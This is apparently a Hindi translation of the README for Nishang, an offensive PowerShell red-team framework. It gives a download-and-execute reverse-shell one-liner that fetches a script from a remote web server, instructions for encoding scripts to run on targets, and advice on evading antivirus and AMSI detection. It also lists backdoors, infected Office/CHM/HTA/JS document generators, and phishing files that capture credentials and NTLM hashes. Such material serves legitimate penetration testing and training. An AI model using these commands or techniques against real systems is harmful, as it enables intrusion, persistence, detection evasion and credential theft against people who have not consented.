
Nishang - आक्रामक PowerShell रेड टीम, पेनिट्रेशन टेस्टिंग और आक्रामक सुरक्षा के लिए।
द्वारा निखिल मित्तल संस्थापक Altered Security - व्यावहारिक रेड टीम और एंटरप्राइज़ सुरक्षा प्रशिक्षण!
वर्तमान PowerShell सत्र में सभी स्क्रिप्ट्स आयात करें (PowerShell v3 से आगे)।
PS C:\nishang> Import-Module .\nishang.psm1
डॉट सोर्सिंग के साथ अलग-अलग स्क्रिप्ट्स का उपयोग करें।
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
किसी भी स्क्रिप्ट या फ़ंक्शन के बारे में सहायता प्राप्त करने के लिए, उपयोग करें:
PS C:\nishang> Get-Help [स्क्रिप्टनाम] -full
ध्यान दें कि संस्करण 0.3.8 से, सहायता स्क्रिप्ट को चलाने के बाद लोड किए गए फ़ंक्शन के लिए उपलब्ध है, न कि स्वयं स्क्रिप्ट के लिए। सभी मामलों में, फ़ंक्शन का नाम स्क्रिप्ट के नाम के समान होता है।
उदाहरण के लिए, Get-WLAN-Keys.ps1 के बारे में सहायता देखने के लिए, उपयोग करें
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
निशांग स्क्रिप्ट्स को कई एंटी वायरस द्वारा दुर्भावनापूर्ण चिह्नित किया जाता है। लक्ष्य पर स्क्रिप्ट्स मेमोरी में उपयोग करने के लिए होती हैं जो PowerShell के साथ बहुत आसान है। PowerShell स्क्रिप्ट्स को मेमोरी में निष्पादित करने के दो बुनियादी तरीके:
विधि 1. इन-मेमोरी डाउनलोड और निष्पादित करें: नीचे दिए गए कमांड का उपयोग करके रिमोट शेल, मीटरप्रेटर नेटिव शेल, वेब शेल आदि से PowerShell स्क्रिप्ट और उसके द्वारा निर्यात किए गए फ़ंक्शन को निष्पादित करें। निशांग की सभी स्क्रिप्ट्स वर्तमान PowerShell सत्र में समान नाम से एक फ़ंक्शन निर्यात करती हैं।
powershell iex (New-Object Net.WebClient).DownloadString('http://<आपकावेबसर्वर>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [पोर्टनं.]
विधि 2. PowerShell के -encodedcommand (या -e) पैरामीटर का उपयोग करें
निशांग की सभी स्क्रिप्ट्स वर्तमान PowerShell सत्र में समान नाम से एक फ़ंक्शन निर्यात करती हैं। इसलिए, गैर-PowerShell शेल से encodedcommand पैरामीटर का उपयोग करते समय सुनिश्चित करें कि फ़ंक्शन कॉल स्क्रिप्ट में ही की गई है। उपरोक्त उदाहरण के लिए, एक फ़ंक्शन कॉल (बिना उद्धरण के) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [पोर्टनं.]" जोड़ें।
निशांग से Invoke-Encode का उपयोग करके स्क्रिप्ट को एन्कोड करें:
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
एन्कोडेड डेटा .\encoded.txt में लिखा गया
एन्कोडेड कमांड .\encodedcommand.txt में लिखा गया
उपरोक्त से, encodedcommand.txt से एन्कोडेड स्क्रिप्ट का उपयोग करें और इसे एक लक्ष्य पर चलाएँ जहाँ कमांड निष्पादित किए जा सकते हैं (एक रिमोट शेल, मीटरप्रेटर नेटिव शेल, वेब शेल आदि)। इसका उपयोग इस प्रकार करें:
C:\Users\target> powershell -e [एन्कोडेडस्क्रिप्ट]
यदि स्क्रिप्ट्स अभी भी डिटेक्ट हो रही हैं तो फ़ंक्शन और पैरामीटर नाम बदलने और सहायता सामग्री हटाने से मदद मिलेगी।
यदि Windows 10 का AMSI अभी भी स्क्रिप्ट निष्पादन को अवरुद्ध कर रहा है, तो यह ब्लॉग देखें: http://www.labofapenetrationtester.com/2016/09/amsi.html
निशांग में वर्तमान में निम्नलिखित स्क्रिप्ट्स और पेलोड्स शामिल हैं।
DCShadow के लिए आवश्यक न्यूनतम अनुमति प्रदान करने के लिए AD ऑब्जेक्ट्स को संशोधित करें।
इस वेबशेल का उपयोग करके PowerShell स्क्रिप्ट्स को मेमोरी में निष्पादित करें, कमांड चलाएँ, और फ़ाइलें डाउनलोड और अपलोड करें।
एक बैकडोर जो तीसरे पक्ष की वेबसाइटों से निर्देश प्राप्त कर सकता है और PowerShell स्क्रिप्ट्स को मेमोरी में निष्पादित कर सकता है।
एक बैकडोर जो DNS TXT क्वेरीज़ से कमांड और PowerShell स्क्रिप्ट्स प्राप्त कर सकता है, उन्हें लक्ष्य पर निष्पादित कर सकता है, और क्वेरीज़ का उपयोग करके दूरस्थ रूप से नियंत्रित किया जा सकता है।
एक बैकडोर जो लक्ष्य पर एक निश्चित समय पर PowerShell स्क्रिप्ट्स निष्पादित कर सकता है।
एक बैकडोर जो WLAN SSID से कनेक्ट किए बिना कमांड और स्क्रिप्ट्स प्राप्त कर सकता है।
एक बैकडोर जो दूरस्थ कमांड और स्क्रिप्ट निष्पादन के लिए Windows स्क्रीन सेवर का उपयोग कर सकता है।
एक बैकडोर जो स्थायित्व प्राप्त करने के लिए वैकल्पिक डेटा स्ट्रीम और Windows रजिस्ट्री का उपयोग कर सकता है।
एक बैकडोर जो स्टिकी कीज़ और उटिलमैन (Windows कुंजी + U) के साथ पेलोड निष्पादित करने के लिए प्रसिद्ध डिबगर ट्रिक का उपयोग करता है।
DCOM और WMI नामस्थानों की अनुमतियों को संशोधित करें ताकि गैर-एडमिन उपयोगकर्ता को पहुँच प्रदान हो सके।
PowerShell रिमोटिंग की अनुमतियों को संशोधित करें ताकि गैर-एडमिन उपयोगकर्ता को पहुँच प्रदान हो सके।
AMSI को बाईपास/टालने के सार्वजनिक रूप से ज्ञात तरीकों का कार्यान्वयन।
संक्रमित CHM फ़ाइलें बनाएँ जो PowerShell कमांड और स्क्रिप्ट्स निष्पादित कर सकती हैं।
Word फ़ाइलें बनाएँ और मौजूदा फ़ाइलों को संक्रमित करें ताकि PowerShell कमांड और स्क्रिप्ट्स चल सकें।
Excel फ़ाइलें बनाएँ और मौजूदा फ़ाइलों को संक्रमित करें ताकि PowerShell कमांड और स्क्रिप्ट्स चल सकें।
एक HTA फ़ाइल बनाएँ जिसे वेब सर्वर पर तैनात किया जा सके और फ़िशिंग अभियानों में उपयोग किया जा सके।
हस्ताक्षरित JAR फ़ाइलें बनाएँ जिनका उपयोग स्क्रिप्ट और कमांड निष्पादन के लिए एप्लेट्स के साथ किया जा सके।
शॉर्टकट फ़ाइलें बनाएँ जो PowerShell कमांड और स्क्रिप्ट्स निष्पादित करने में सक्षम हों।
क्रेडेंशियल्स और SMB हैश फ़िशिंग के लिए IQY फ़ाइलें बनाएँ।
JS फ़ाइलें बनाएँ जो PowerShell कमांड और स्क्रिप्ट्स निष्पादित करने में सक्षम हों।
SCT फ़ाइलें बनाएँ जो PowerShell कमांड और स्क्रिप्ट्स निष्पादित करने में सक्षम हों।
एक SCF फ़ाइल बनाएँ जिसका उपयोग NTLM हैश चैलेंज कैप्चर करने के लिए किया जा सके।
जब SYSTEM विशेषाधिकारों की आवश्यकता हो।